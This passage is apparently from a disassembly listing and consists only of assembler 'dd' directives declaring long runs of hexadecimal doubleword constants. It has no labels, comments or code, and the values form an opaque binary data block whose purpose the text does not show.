		dd 523E03AEh, 568438CDh, 0A1ABF0D0h, 6EF56800h,	87CB2A46h
		dd 0E7FF140Dh, 99E120C8h, 3D2C18C1h, 0EC006D72h, 5E8B7BA9h
		dd 7524CAAEh, 4F408C07h, 1D839E9h, 0EAE496B5h, 0D1B386A7h
		dd 8721BF4Ah, 0DED39E0h, 0B5B14100h, 15C47E67h,	8479F20Ch
		dd 0E445E603h, 0B806FB4h, 0F800504Ah, 6BD969D0h, 557BA9Ch
		dd 56ADB21Ch, 199000C7h, 9925C338h, 0ECB01154h,	0B6D2E400h
		dd 6F915506h, 60473993h, 4BEA93h, 57DD9928h, 367D1E0Ah
		dd 1CC81252h, 5BC7A09Bh, 4F500D1Ch, 639DB04Bh, 9F1921BCh
		dd 0E98759B8h, 5E2C252Eh, 69702B18h, 267805E2h,	40D815CCh
		dd 61FDABF0h, 0A3065202h, 934A318Ah, 0C83E5D08h, 61C58D00h
		dd 6FBF2C56h, 281CD500h, 0FABD2DBAh, 0BB60309Bh, 180AD9E8h
		dd 0F24D1E7Ah, 83CB1E10h, 40E368CFh, 0C2C6D1E2h, 6D08CCAAh
		dd 68F6C4A9h, 8B20AC05h, 5820582h, 76484414h, 0B7830044h
		dd 90621394h, 0BB004BEEh, 0BDDCE29Ah, 245DC87Bh, 4FE4157Eh
		dd 0F3E906E0h, 1B4B9AABh, 0B19BFC41h, 66ECFCEDh, 0B57800B9h
		dd 7B1C4E2Eh, 173C7F15h, 0D6D10219h, 203F4633h,	89F6BBE2h
		dd 0F8D26F00h, 0D750C16Ch, 5CA90443h, 808615B1h, 1E19844Ch
		dd 278F952h, 0FAF067D8h, 126B31DAh, 38B70085h, 0B80F476Ah
		dd 9029A730h, 0C655B00Ch, 1B38C406h, 4C890F74h,	0C11C817Dh
		dd 0B8C3D1BAh, 12B22E13h, 7D8BBE6h, 0D6C06AB0h,	0DCB0909Fh
		dd 33659B7Bh, 0CFC66018h, 0D6AE0318h, 83FF946Fh, 40C05000h
		dd 0D35B54Eh, 0FA70C1C6h, 24D3F46Bh, 93FA0928h,	0A130CE73h
		dd 6B3920AFh, 0FAD74080h, 0B7E69F0Ch, 69683Ah, 0D09C731Fh
		dd 0D6EC124Bh, 409AFF24h, 11A6DF00h, 58D63B9h, 0F27A69F5h
		dd 2C944F56h, 5BAA2380h, 0A9306155h, 1E52A830h,	6CD2504Bh
		dd 609056DDh, 9A2D4902h, 0F0A12298h, 301806BEh,	0A60DF7F8h
		dd 8EFA053h, 7DF0048h, 5654183Eh, 6B8E607Ch, 3C02B516h
		dd 0C6CA911Ch, 2C086606h, 92844FEh, 899DA4Eh, 95FC104Bh
		dd 26603C39h, 326ACD80h, 0B6F61434h, 0C5FA4514h, 801D2494h
		dd 6A465Eh, 96A6333Fh, 18691004h, 0F8B60160h, 88058679h
		dd 0A706DC24h, 10ACEC49h, 77596C4Ch, 4278CC76h,	0D4A13851h
		dd 22C821A8h, 14363BE0h, 0BD9C8816h, 0A5B30F6h,	248D1200h
		dd 739E3F78h, 59346008h, 0DC8FA37h, 14BF703h, 0D0A9B7DFh
		dd 3CF3C16h, 0A0423185h, 0B8A653D6h, 1944DC87h,	9781EC60h
		dd 0D0A3AEEh, 6CC02BD6h, 0D58A691Dh, 670B94B3h,	23581333h
		dd 40394E8h, 8CA7DF18h,	0DD231762h, 0DE50B0FCh,	0BC2703D0h
		dd 74C968A7h, 67F25811h, 5C73220Eh, 6BBAD380h, 0BCFEB078h
		dd 0E1022B00h, 20524689h, 4B303E0h, 5BCB0D43h, 40BCA848h
		dd 26057E44h, 37A7E6A0h, 0B0808804h, 8B1C82h, 0C2CF4401h
		dd 8669F33Ch, 41FB8ECBh, 68A23A28h, 8784D7ACh, 7AC76B30h
		dd 0DA1709C0h, 0F1AA7CA0h, 500E02C6h, 5B6597h, 0DE82559Ch
		dd 12F01603h, 52181D87h, 50C01A5h, 815BD50Dh, 0A295CD61h
		dd 9C02858h, 0E890027h,	0D2EAC276h, 3800FA83h, 0F1C72BFCh
		dd 92053624h, 330A0074h, 91979B1h, 137CDC14h, 0D3FB6400h
		dd 0DD015F7Ch, 0F3B036CEh, 8E0C0810h, 808C8533h, 70E001F8h
		dd 0F2A00BD1h, 0A8B560C5h, 6AFDB40Fh, 202D0999h, 0A19FCC30h
		dd 0DBA000D4h, 38403E67h, 1D001269h, 0FE7FCD3Dh, 84D3069Fh
		dd 19A0313Ch, 7103C0Fh,	2F492CE3h, 6CFF8128h, 24AF518Bh
		dd 133EB0ECh, 0D21018DCh, 9A2B29h, 8E888531h, 0F93716F6h
		dd 10F8D892h, 0BB12380h, 5BCA5EC2h, 55042583h, 32C1F8F0h
		dd 947FF8E9h, 796B0303h, 2687F12Ch, 9CC08F0h, 6C81DD5Bh
		dd 30FA5CC6h, 99C015C0h, 6A36352Fh, 207C00CAh, 11B8CDE8h
		dd 3E020725h, 0A0186545h, 0B120A31Eh, 2C3900D7h, 5C274CFFh
		dd 7C93499Bh, 1D52770h,	7ED8A8ACh, 343135D6h, 0C09872F8h
		dd 38C2D20h, 759FE2FCh,	3187F991h, 50F63849h, 68AE7CD4h
		dd 6B584703h, 4BEB387h,	5CC5C318h, 62888014h, 20840F83h
		dd 0FB042E4Ah, 88DE03A8h, 0D6800CDBh, 0F07803B5h, 43B2000h
		dd 718FE577h, 50064C1Ah, 6A3D5580h, 5E03A7A0h, 899593C5h
		dd 49FDA87Eh, 3C90B8E3h, 3680822Fh, 31DD3DE9h, 7F1F8A6Ah
		dd 0FC64F22Dh, 0A694F583h, 0E99A9884h, 60B7327h, 6BDC73D1h
		dd 2CE4D969h, 35ECC709h, 0FA90484Bh, 2ECD1233h,	0FC00145Eh
		dd 0E0EF0714h, 3EAA81Fh, 3D946BF9h, 45B22001h, 0C45DB939h
		dd 4108D420h, 0FA67F088h, 7935DD05h, 0D8D8CE26h, 46108A7h
		dd 0D7C69352h, 6F8B0021h, 384B5162h, 215D16C6h,	3AF803E4h
		dd 83CEDC66h, 42E7E80Ah, 3EF39E1h, 0CF2EF280h, 0B52B5D2Ah
		dd 91A52412h, 0B587149Bh, 604CC72Ah, 6DF459Fh, 4DDCD000h
		dd 17013627h, 38C42857h, 196D0BB8h, 0FC012D7Dh,	333C1Bh
		dd 396B10B0h, 0C6872A2Fh, 8941B8A7h, 0C848C8A9h, 0E1D0A7Bh
		dd 83C055E9h, 0AF7F272Ch, 0A7E12809h, 3BDB0AB0h, 28A4A451h
		dd 0B0A1CEDDh, 0CDC0E300h, 6F05A2A9h, 448A3579h, 0FE945480h
		dd 9584003Ah, 7BD721D1h, 774883B4h, 0A1D022B8h,	0BED4CD46h
		dd 94F54826h, 0AED6E102h, 24ECA9CAh, 0B444E502h, 19B376B6h
		dd 9CED1046h, 2E6EC39h,	0B2141B5Eh, 0AC6A8D35h,	31A19441h
		dd 9350642Fh, 44E3248Ch, 2C86147Dh, 0EF803F88h,	329C399Ah
		dd 5BD81EE1h, 7B426B8h,	4037590Dh, 0AF2F69FFh, 5C800891h
		dd 0A3CAA915h, 0DECB0777h, 40F24C87h, 544AFEE4h, 0D8E95909h
		dd 0B0F4C004h, 3B4026F9h, 72A04CE4h, 0E2010743h, 0EEB5D744h
		dd 88400CE4h, 390199E8h, 19E7ABC9h, 0DCD046EFh,	0C0AE09F1h
		dd 1180FF3Dh, 76CC5C1Eh, 347F6604h, 78B441ACh, 99F70061h
		dd 4A0DD6E5h, 6B008B63h, 2EBB8A3Ah, 9022A11Eh, 6919132Ch
		dd 39B86179h, 2049C565h, 0DB0A1B8Eh, 0E8CA66EEh, 0CD46ACA8h
		dd 361E002h, 0D631DB52h, 61DF0015h, 0A7B40A12h,	0D805C012h
		dd 5CE54C00h, 3147335Eh, 9BB11F81h, 4C345C0h, 0D4F255E4h
		dd 99A004ACh, 65FC802Dh, 0FE02B5FFh, 6306DBE1h,	0F394E44Ch
		dd 171DFF18h, 0D42EA7A8h, 0F7E070h, 36B65117h, 0ABBDAC89h
		dd 2DBAF09h, 0FFC861B0h, 6709D618h, 65AAFAE2h, 0CF638050h
		dd 3E014E68h, 0F94DDF04h
		dd 64D134A3h, 58F6ADB0h, 3EEC9018h, 76402285h, 31A27A27h
		dd 0B10017D8h, 8130645Eh, 0D6528053h, 0E833605Bh, 2027C944h
		dd 0DC2A4802h, 7B05D934h, 93D3821Ch, 209C65D1h,	50C3623h
		dd 0D73E52h, 637D84C5h,	694C740Bh, 16C11226h, 0B938E8A4h
		dd 25EB800Ch, 0C74EA375h, 0D429FB03h, 90160491h, 696550B5h
		dd 3C1840CFh, 0F0001387h, 9F6F1A59h, 77CCBC72h,	0B5A93AB0h
		dd 0EA9EBD00h, 5DC2C456h, 384DCE20h, 94801C36h,	77ED25BFh
		dd 3B000CACh, 0FA4CF57Bh, 908F1143h, 0B42600A8h, 0E32459BFh
		dd 0AD3D66DCh, 86C01F2h, 6069E0E9h, 2C123C39h, 0E18497B2h
		dd 0DA5153h, 7E5EC16Ah,	296175D2h, 0BFC4A34h, 57D05BA3h
		dd 8F36E900h, 538D69A1h, 0AB087878h, 9AC0C788h,	5C1F0E8Eh
		dd 144F06BFh, 0BA0C5DE4h, 24D8571Ah, 3607F891h,	0C0EE2146h
		dd 0C06B42DCh, 0F0C8C0B0h, 99DA4DACh, 0F447BB00h, 9D70A269h
		dd 13B11E5Eh, 2AB9407Bh, 8A4A140h, 0A24D1903h, 1640321h
		dd 0C98B0C28h, 60F06F35h, 0D41D17BFh, 791CA37Dh, 0C02620F0h
		dd 93E0335h, 0D1682810h, 0AA1907C8h, 0C7C92400h, 0A7D4BB91h
		dd 0CAA20367h, 0B44A3B1Bh, 0D0C16BA3h, 2BF9EC93h, 0BC8CD70Ch
		dd 0C01809EFh, 0A44BB021h, 50066EB2h, 234A56F1h, 97700018h
		dd 0EB7658Ah, 453E6A52h, 0C5607950h, 68D67039h,	184830C0h
		dd 0FF3BAC11h, 6745D3Ah, 2B8CB31Eh, 88AE5408h, 0E93348CEh
		dd 0BCBD2E00h, 97130332h, 292A751Ah, 228C04D1h,	6E35CE60h
		dd 8CDF023h, 2500A080h,	0B14335F9h, 0EE2C003Dh,	649FF896h
		dd 4618AB62h, 7BB067E0h, 5D2414EAh, 291D94DDh, 70091850h
		dd 7602A334h, 0C58889F1h, 10E842D5h, 11FF4268h,	8833745Ah
		dd 3ACD80AFh, 435840FFh, 0CB007F76h, 74C29CD9h,	0F7FC3104h
		dd 0E0466920h, 618A6068h, 7CDD7657h, 3E3F8B78h,	259380A8h
		dd 1DA7B1A0h, 40E9008Dh, 0B8DC054Fh, 7E039D26h,	3ABAAD04h
		dd 0CAE8A0AEh, 0D1FE87h, 6F7C9EAh, 0B8D8D6FDh, 77B03000h
		dd 49514C0Eh, 92891E24h, 0BEFD01BDh, 7A691DAFh,	68886780h
		dd 8E5E00F2h, 5DB09CB3h, 2FFC9D9Ah, 62F66701h, 9E63A3D5h
		dd 5F89E4h, 5DE11458h, 0E493BACCh, 0DB98F2E8h, 465A6D00h
		dd 0CF17A7B7h, 0DB84077Fh, 0C06EA6AEh, 198F7668h, 3BEC3Eh
		dd 1724CBB8h, 0E704BBEh, 0D22EAA4Ch, 0DDBA7C80h, 8C002634h
		dd 28EAC188h, 0E6431927h, 5CDE0037h, 0DBE6839Fh, 0BA33348Ch
		dd 5809F3h, 83D73C21h, 70A7DBC2h, 4C0024F8h, 20777EF6h
		dd 0C589A14h, 128995CFh, 7C0E9C30h, 8FC540D9h, 6F7E002Eh
		dd 63A10EDh, 3F432B11h,	0A6600809h, 0E803FF21h,	8BAD0015h
		dd 0F682E216h, 0D6302AF7h, 907C815Eh, 0E4F41D38h, 0E10304Ch
		dd 6D018011h, 505BB393h, 89803AAh, 0B268312Eh, 22418600h
		dd 0E5C4B36h, 0CAC11E80h, 0E82B02CEh, 84AE7F08h, 83A28031h
		dd 8C74DBE7h, 0E433AD44h, 21090383h, 7C9F2217h,	5D5084D8h
		dd 0BD3C80A0h, 8053D43Eh, 0DFE9EE19h, 0E8EC04h,	8B78496Ch
		dd 639D4240h, 7186BA00h, 3D53DE35h, 1E5A00C5h, 2517DDE7h
		dd 92028C23h, 0DB1D5738h, 0E68F60DCh, 0B2613BC6h, 280F5D00h
		dd 43D96E93h, 0DEE27B00h, 0B7A00365h, 6D760074h, 0DBEE2BCEh
		dd 0CF1D96F9h, 161CD0A8h, 0E4C080FAh, 615A604Fh, 0AF64C791h
		dd 0D6FE104Bh, 78013DE5h, 3CA949D5h, 0A77077CAh, 722B009Bh
		dd 65E10F57h, 6E70AA44h, 0C7EF3804h, 5780D117h,	0F8B3D0A6h
		dd 9BDA0157h, 88A1F20Ch, 42E6C83Bh, 9EE58501h, 0E0B6935Ch
		dd 3AA32880h, 0F2CF0C9Ah, 0FA315D7Ch, 0DBEF18CEh, 187B40A8h
		dd 11FFB54Eh, 61048352h, 35989559h, 37915AC3h, 0F0211608h
		dd 0CEC9609Ch, 0F8F75818h, 20EFA698h, 0A83E84F5h, 1A607B38h
		dd 7B5A8F18h, 3A5F8B1h,	2456504Dh, 71B89A65h, 75000A7Dh
		dd 0BD5A4E13h, 392C3412h, 0F7B5E9h, 0C220A1F3h,	0BB5543A9h
		dd 1EBF5600h, 9F458146h, 51E30084h, 6B17E578h, 7A0063BDh
		dd 7F941225h, 0C5824h, 0F12795B8h, 0A429494Fh, 0D343900h
		dd 9B26535h, 0BD97EF2h,	8CFA31F0h, 0D6857180h, 0A800DDA2h
		dd 32B122F8h, 1F1C8816h, 873FF21Fh, 60E3712Ah, 8A8C73B9h
		dd 82E84200h, 5635C3C4h, 3F490F03h, 87C074C8h, 0EBFB6A53h
		dd 2A5C8095h, 0B56F42h,	43ADB93Bh, 1A223DF6h, 2BB6FF00h
		dd 9997E43Ah, 0C78700BAh, 0F88BDCF0h, 7900A374h, 89831EAFh
		dd 7C194790h, 0A1E63E87h, 0B763030Fh, 0B0314A80h, 1760ED09h
		dd 87425328h, 0C582006Dh, 4013F1F9h, 0B760613Ch, 0E1EFD199h
		dd 755000AFh, 0AD0493Bh, 3774EA99h, 0BBA0C876h,	0B40312ACh
		dd 3E516E6Ch, 78A960FAh, 0B580FDF1h, 72478900h,	271909A9h
		dd 0EA79F0B4h, 0BAF0397Eh, 0F1977D80h, 3AA40EA8h, 0FC4E4100h
		dd 174DFF6Eh, 0D45C0AC8h, 30A2C498h, 44377DD0h,	0B28DF717h
		dd 9D107B00h, 0F847533h, 0D7663642h, 0B600258Eh, 0C2DB3A7Dh
		dd 16A9F700h, 66E41C09h, 9B100097h, 0AD0311C0h,	0DCFF967Eh
		dd 0AF002862h, 8974DCC4h, 0B886257Bh, 977E0063h, 9D9516CCh
		dd 70002D13h, 0C3EDEE76h, 1CF542C9h, 800EA531h,	3AE22B81h
		dd 0A600F95Eh, 33FF5473h, 746ED3C4h, 2F2900C3h,	898094E7h
		dd 0B00F5EEh, 19445BF7h, 0FE59C6h, 0E3049B1Ch, 0BD1B4397h
		dd 2DB32A0Fh, 0C5EC83E6h, 0A214A826h, 318600DEh, 0B0C21F91h
		dd 953CD8B8h, 75120015h, 0D6F4CBAh, 46851298h, 774100E1h
		dd 8C8AB67Dh, 0CF6B1C1Fh, 53AAEEC0h, 1ECE4206h,	4018E1FBh
		dd 6CDB4E07h, 0EBFA2665h, 0A0C310C0h, 760E9B60h, 0D7B00A18h
		dd 3BB04D55h, 2CCC1701h, 0CBF3085Ah, 1FB495B0h,	49E1A507h
		dd 0BB215B3Bh, 9960AC76h, 40270020h, 51612228h,	0BA3B692Fh
		dd 47460073h, 0EFEE1F2h, 0F9773Eh, 207FB01Eh, 1A6DC68Ch
		dd 0F004276h, 366A4FBFh, 2A4A2h, 3AEB09DFh, 4B39F3F4h
		dd 80FE483Ch, 55E83722h, 208D92h, 0BDDE59Dh, 7F26E58h
		dd 0B3B8B401h, 57CFC2ADh, 2AAABC0h, 0A09DC160h,	0B6603856h
		dd 1700CC6Bh, 0BCD44C3h, 11751Bh, 0FF7FC74Eh, 435CDA0Dh
		dd 323E0900h, 0AEE26A56h, 279F0071h, 0BF127DAAh, 0DA01434Bh
		dd 2117FFFAh, 10D8A3CDh, 405A0737h, 0F0C6A45Dh,	18B5CF59h
		dd 42610700h, 9229A7AFh, 0B0F80086h, 0B72D606Bh, 6400C185h
		dd 37369950h, 74CA1806h, 0B34E01B1h, 0C9D8C74Ch, 0E058C8AAh
		dd 0E9A2191Ch, 3B4D5Fh,	98339149h, 0AE84F4Eh, 18C8C030h
		dd 0AF133AF6h, 0DC00BFEAh, 0C29E3D11h, 0D85E0071h, 278AB817h
		dd 0F30039EBh, 0F141E7E0h, 1F7D893Eh, 405872A7h, 0BFBAFC03h
		dd 6AFC3528h, 7E3AC203h, 3D9A37Bh, 82317430h, 48C0548Fh
		dd 0E18E040h, 0F1403FB6h, 5A7400B5h, 882C457Ch,	0C503FA83h
		dd 0A49F6E0Ah, 74EA9054h, 171812D0h, 0F1ECFFh, 0DB0E921Fh
		dd 97401Dh, 1114431Eh, 2AF92D91h, 6E26D000h, 860173FCh
		dd 1ACB01D8h, 4106847Dh, 97D020B5h, 3625A600h, 0BE9C7CE2h
		dd 9A6401A5h, 0F99D8DF0h, 0C057023h, 6A8FF400h,	92726217h
		dd 3E110080h, 35A9AF1Eh, 0D804A6C6h, 3251E50Bh,	0C0E1CAC3h
		dd 489F59DEh, 10006A2Ch, 0D7C20A66h, 0B501B27Dh, 0B90D05C7h
		dd 52305F2Fh, 0A5C00091h, 929FAF5Eh, 36074AB7h,	45E73AD6h
		dd 75E06A00h, 5AC400ABh, 9378C6FDh, 0A800CE58h,	0E936F435h
		dd 12663C3Bh, 1C76A9Eh,	0ECF2ADECh, 150CD07Dh, 0B2B4F804h
		dd 0E6C0B866h, 7858E237h
		dd 0AA910026h, 82AD459Bh, 9600C5E0h, 0A0EB74B1h, 0F6B4F62h
		dd 20B2DA7Dh, 9E2765E0h, 5603BD46h, 409C1243h, 3AFFE08Ah
		dd 616C00D0h, 0CA44141Ah, 5AE0CEACh, 7E8B3138h,	0FFDF3Dh
		dd 0B43FFC24h, 8A31Bh, 399D3B5Ch, 1D953244h, 0D007ED76h
		dd 133C2030h, 0FD2FEFD0h, 5A0506FFh, 0A8955C51h, 0DE00B1F2h
		dd 0CDCAAEF4h, 3E8B01C1h, 3D00D675h, 5D810434h,	0D40CA413h
		dd 0F036468Dh, 0EA8EB002h, 890F007Dh, 14F4C259h, 1F07BF8Eh
		dd 0F9B4C0DBh, 8C52E1AFh, 0C2078E5h, 0FAA40F72h, 41E00A1Eh
		dd 0AAFDF3F6h, 5926F900h, 46888B58h, 2ABE006Fh,	0F8CCF02Bh
		dd 9A79DED5h, 9B023875h, 4D14799Ch, 6DE48797h, 0D0C55523h
		dd 0C0506FDEh, 7A31DB99h, 0E6060F4Eh, 0E3EE91D9h, 3C10318h
		dd 0E5908F9Ah, 223B1120h, 3378231Dh, 0ADAB3507h, 787BAF6h
		dd 8E7126FEh, 91E30721h, 0A9025F38h, 0E9D92420h, 0DA3947EDh
		dd 5DC383A5h, 0E0213F0Ch, 209E28h, 0A9430EDDh, 0E487866Ah
		dd 0E0539200h, 938686Bh, 1B1C9206h, 50AF48B5h, 0B9302FC3h
		dd 309E682Ch, 82EEEFF0h, 8C103910h, 1D55721Ch, 423C3226h
		dd 0EB9450F2h, 0ECD60040h, 93643A00h, 4A7A1174h, 58B10090h
		dd 0C54F6DD2h, 0CBF6570Eh, 78D37300h, 49441AA3h, 7F398AFh
		dd 0B0713E0h, 0A2C3A01Eh, 0A7F072D7h, 3CD06703h, 0F8EC2F7Ah
		dd 0FE05F441h, 0EE9A00B8h, 0FD420F9h, 0A9009B2Bh, 0D0F671ACh
		dd 0C237925h, 0B4751858h, 73EEA5C1h, 86FB5200h,	50117E65h
		dd 0B972301Fh, 3DEA721h, 0FBF8E1C0h, 1C9D4525h,	710F06Bh
		dd 0F0B18FBDh, 0D50A2CEEh, 0CC2A8D03h, 1CA975E1h, 797DC41h
		dd 0F33B3313h, 0EBE02CBCh, 9B013EFBh, 43AF593h,	62C4F9CEh
		dd 3CDF501Fh, 80A07410h, 0F80078ECh, 0CD979C21h, 0E913A96h
		dd 0B00AC77Eh, 0DB8C8E80h, 370090E7h, 0F38ADD76h, 60ECCD6h
		dd 2D6768FDh, 0B6EE495Eh, 0CFC61D06h, 0F8D02B2Fh, 0CC9400A3h
		dd 0BB6B0941h, 3100B60Bh, 45202EE9h, 653815h, 0D1701EDFh
		dd 74A71B42h, 0AFA09CA4h, 3C004BC0h, 5AAAB398h,	0B8AB0424h
		dd 0F8B50714h, 0D0B68908h, 0C2D91910h, 460B3900h, 0A4F78272h
		dd 0B24200E8h, 5B5C5980h, 60927AE4h, 0C50AE980h, 0EA9EED03h
		dd 0B073DDF9h, 0C0CD7598h, 0A2F69079h, 4302F465h, 0E19FBC07h
		dd 0F9D0A0E9h, 0F153B6h, 723AE752h, 6F1BEDC6h, 0A1DF7D01h
		dd 81D81ABFh, 2351DDh, 743A2100h, 0EB525F88h, 2D009AFAh
		dd 0C18BDD04h, 229508BBh, 0A8003CE2h, 654CDCD2h, 1B6B7Fh
		dd 0D94705A1h, 55206058h, 9B234114h, 322F04B4h,	0CC8831F0h
		dd 0A37300B4h, 92994EC2h, 130014C6h, 26E6E893h,	91DF03D1h
		dd 0D6A70EA8h, 0D0D50091h, 5FAAA842h, 19596331h, 21005DE2h
		dd 0FDC409A0h, 0CE404Fh, 79C683E0h, 7F5F0438h, 3EB4E70Ch
		dd 773059B0h, 0CD871C3Dh, 14F201D4h, 807247A1h,	6D52EFA1h
		dd 7C568D1Dh, 1068495Bh, 97019443h, 1482F6E4h, 0BFCD47Ah
		dd 0BFD0CF50h, 3E8B5308h, 797B9h, 0AD1C9F77h, 5F63DE1Fh
		dd 3DAC1019h, 28176C1h,	7A0EAA43h, 706DF48Ch, 2908C000h
		dd 6F875B48h, 413A01D1h, 0E1E3C72Bh, 1BF18058h,	7A8C0694h
		dd 0F5610037h, 6A3ADD9Ch, 66034778h, 385FE784h,	0E169264Bh
		dd 0D764404Ch, 4600B421h, 312288DAh, 1FA06B58h,	81D184EBh
		dd 0C9A665F9h, 0F8319225h, 1D190000h, 3B232F6h,	9B7A5648h
		dd 0E9008840h, 0BFE7CE91h, 60E1E4C8h, 337E3911h, 2A005637h
		dd 41ED93C9h, 7BAE7F9Bh, 0C2A618B7h, 0B2E429CDh, 0A9A11130h
		dd 1A8B307h, 6493D69Ch,	0FA3C034Eh, 8C3BFCE0h, 8F3C412h
		dd 71E56804h, 0A32538D0h, 4142600Fh, 279869F0h,	0F76AE400h
		dd 6F0DDDFDh, 0FFCA30A6h, 0C03EB671h, 0DC02F37Ch, 0F44469E1h
		dd 105440B5h, 0F8CD0057h, 29FD74ABh, 0A8076C72h, 0E2932DB7h
		dd 0FCC041FCh, 8D7350F1h, 0B6210140h, 96019F38h, 0F06457F9h
		dd 0C4B9648Ah, 0E544590Eh, 6B49E065h, 541D7F38h, 842CD05Dh
		dd 0BD0067F6h, 268FA79Ah, 0C7357D13h, 2B788318h, 81526883h
		dd 5788D5BBh, 104C98E2h, 385BC0CCh, 246B1571h, 44C12Dh
		dd 3AD0CA76h, 0BD1C4560h, 1E8068E4h, 46509363h,	0ECDD30A7h
		dd 0D6571FA9h, 0AD7F6804h, 54820748h, 0C8A723AFh, 0B31E29FEh
		dd 0D954BE2Eh, 89DD80FCh, 177075BFh, 9D380Dh, 5F3DB64Ah
		dd 32F51337h, 70670FACh, 3B56E510h, 0A9BD81C0h,	0AD316CBh
		dd 37C200D9h, 0FA108742h, 4079B560h, 248DEBA7h,	1ACF1F0h
		dd 3F782270h, 402412CEh, 710C1141h, 0A6763053h,	3B2D0919h
		dd 31015F00h, 8C040D96h, 0A5FF0274h, 7D6E9E68h,	6021B062h
		dd 0E0250C69h, 0F770EACDh, 0A4FD7826h, 4D483900h, 0FF38FBEh
		dd 4C41E876h, 0DEA62F21h, 0FC88500Fh, 0AE0067DDh, 8D17C3FFh
		dd 91E2EF10h, 40159E14h, 32032153h, 2000149Bh, 0AC0B858Eh
		dd 26F3AD6Eh, 6104905Ch, 0C9CC59FCh, 7E49D81Ah,	0BC0FE1EEh
		dd 406D8828h, 0A97F6948h, 0C0E35838h, 59F20096h, 0D1538BC4h
		dd 9B3DD200h, 0ED248D43h, 0B921528h, 0DC00C05Eh, 0DF2F3FCAh
		dd 913B137Ah, 0B8985467h, 0F20EF118h, 0E48E29h,	0EF8106ABh
		dd 7A3BD6D4h, 0D5126BE0h, 1820CAA7h, 0C5E20B3h,	0BA7215EFh
		dd 93787C49h, 11B6DE34h, 89F15880h, 0D8A726C9h,	0AB3840FCh
		dd 0FA189981h, 0DA81A812h, 0F494009Eh, 6C276B67h, 0E103FE6Fh
		dd 74F5FD1Bh, 4D5100A1h, 6964160Ch, 0FB006F20h,	7B46065h
		dd 4C531F3h, 6D4C82D6h,	2F85C167h, 3BD18029h, 99101C02h
		dd 0A55B0E26h, 2541C979h, 8C4A695h, 20EF0A1Fh, 54322Ah
		dd 8D94066Ch, 0EB13E628h, 0FC20F115h, 63322B57h, 8330296Fh
		dd 0E6E5FAD0h, 71F2C04h, 110B5C21h, 0E2195890h,	55120F07h
		dd 0B17060E5h, 226A37h,	4A4561F9h, 0C042F79Bh, 87A0EC99h
		dd 17039C7Dh, 0EF84513h, 58D12C56h, 382E00CEh, 140987F2h
		dd 3B01FD72h, 48EE40E7h, 0A980AD3Fh, 0A6BEE604h, 7B00EAECh
		dd 0A776E068h, 0EB3EBFh, 2132A3CBh, 0D05D10E4h,	57E30903h
		dd 184D905Bh, 49AA3E69h, 0A001BC9h, 6EC2E28Bh, 5610157h
		dd 0F2BD984Dh, 3AC82DFh, 0FFDB10E0h, 98D5542Ch,	94B38F00h
		dd 0DD2A2FEAh, 49404051h, 0D676BB47h, 1F24539h,	9D0190DCh
		dd 0FAE03169h, 8EA1008Fh, 8529B1ADh, 5A54E19Ah,	3F004188h
		dd 34DDE423h, 96B72Eh, 0D391487Fh, 78F464ABh, 0BC32682Ah
		dd 0B7A7B803h, 95F102Eh, 72DDEC11h, 670D2E03h, 0C2569100h
		dd 0E892EA57h, 12B095h,	0DEDA6C1Ah, 24041D3Eh, 8C8A7C24h
		dd 0BEF45E60h, 0ACED00A0h, 5031A791h, 6C9460C1h, 0C0EB9643h
		dd 0A13ABCh, 0DD0E159Ah, 0D2A82F7h, 3848E31Ch, 35B30282h
		dd 7330C05Eh, 2F8F00A1h, 0C5A7193Bh, 0FE263AB1h, 3F0238C6h
		dd 44E199BCh, 542C00F4h, 1911AD50h, 3A00BA84h, 8BE74671h
		dd 0B1E20640h, 0B02700D4h, 0BDF7EF02h, 31FC9901h, 0D51F7F67h
		dd 0DDAC5887h, 0D6EAD39Bh, 34C098A2h, 0C848A910h, 26B68084h
		dd 48270C1Bh, 8A870074h, 1741B060h, 2BECC3FEh, 0E852C000h
		dd 0B2C66B3Ah, 0D940A894h, 61DB056Eh, 88336774h, 0E807916Ch
		dd 0B4BF37D0h, 47B2C40h, 0DE8CBBDh, 7A1CE400h, 78B1114Bh
		dd 959E9207h, 941059B0h, 9BA5012Bh, 0FEBF86BAh,	0E5083Eh
		dd 68F0D0E4h, 0A52DD7CAh, 89EEE230h, 80F67Bh, 0E339BF01h
		dd 0B7FBA9C8h, 0D4F06F18h, 96E83CC2h, 830540D8h, 3E13095Ch
		dd 0CC008C2Ch, 11299878h
		dd 63DD13AAh, 565C0004h, 0C0ABC292h, 4F816817h,	7CC410h
		dd 5B0A114Ch, 0FB15DDF2h, 9893B660h, 8034997Ch,	2195A613h
		dd 0F906EABFh, 0D8A17CABh, 0FC365841h, 40024058h, 3ED3A973h
		dd 24013864h, 0B7A34670h, 0A443FD06h, 12BDD1B2h, 38031C62h
		dd 7EFB9D54h, 95C8DC88h, 0DABF38h, 0A5138B9Ch, 9AA49FA7h
		dd 0CFF62E58h, 0C741F04h, 1F815BC2h, 88E653h, 6D35BA13h
		dd 0CEF20FDh, 60B5A163h, 14A075A9h, 18798C31h, 418DDE01h
		dd 0C8941A29h, 0BB875180h, 93FA4B83h, 0A5EB1E01h, 4091983Eh
		dd 42580872h, 84CB5700h, 0DABBD2F1h, 2600DFB8h,	25230E35h
		dd 298ECAC4h, 84AB1Fh, 45461B38h, 900E602Bh, 21175742h
		dd 0E2102A8Ch, 0D7470h,	8B94C661h, 0E88D1403h, 0AD20B4A0h
		dd 2C0256E4h, 9E46B6EAh, 0BECE85FBh, 0CE5BB800h, 78DDFF0h
		dd 97600537h, 9E0760C4h, 0D0A6A7E8h, 0F70C56EAh, 91B37408h
		dd 0A10C00B9h, 0B7AE866Fh, 774A8E10h, 406E604Eh, 7BE496ADh
		dd 3F4902E6h, 0B932DFFh, 0FD7E2864h, 6F83400h, 0C0ADDB3Eh
		dd 0AC3A0641h, 49494E5Fh, 0FF094F90h, 64D5112Ah, 2CEB003Ch
		dd 3D012271h, 511E9C25h, 3880B356h, 24CCFFC0h, 2E5BE24Eh
		dd 19CCDD2h, 7552EE8Bh,	140017B8h, 7499FEE4h, 34B20FA3h
		dd 10865212h, 0D80079AEh, 1705E8B7h, 59E060h, 43078CC6h
		dd 6A5ED37h, 443CE324h,	3E6DCC03h, 0B2591DABh, 1471800Bh
		dd 0AF02C227h, 0FB30B109h, 20C884A6h, 0DB0068A2h, 0ED19B429h
		dd 98007094h, 3AB530A5h, 76BD7261h, 78CCA0FDh, 0AFC802CAh
		dd 7109920h, 0F3AEBC90h, 4840F548h, 0C894F0h, 7BC9B172h
		dd 9C0262h, 4E3BD08Ah, 0AE2C66F1h, 3E08096h, 8D5B79h, 0A2AD6F31h
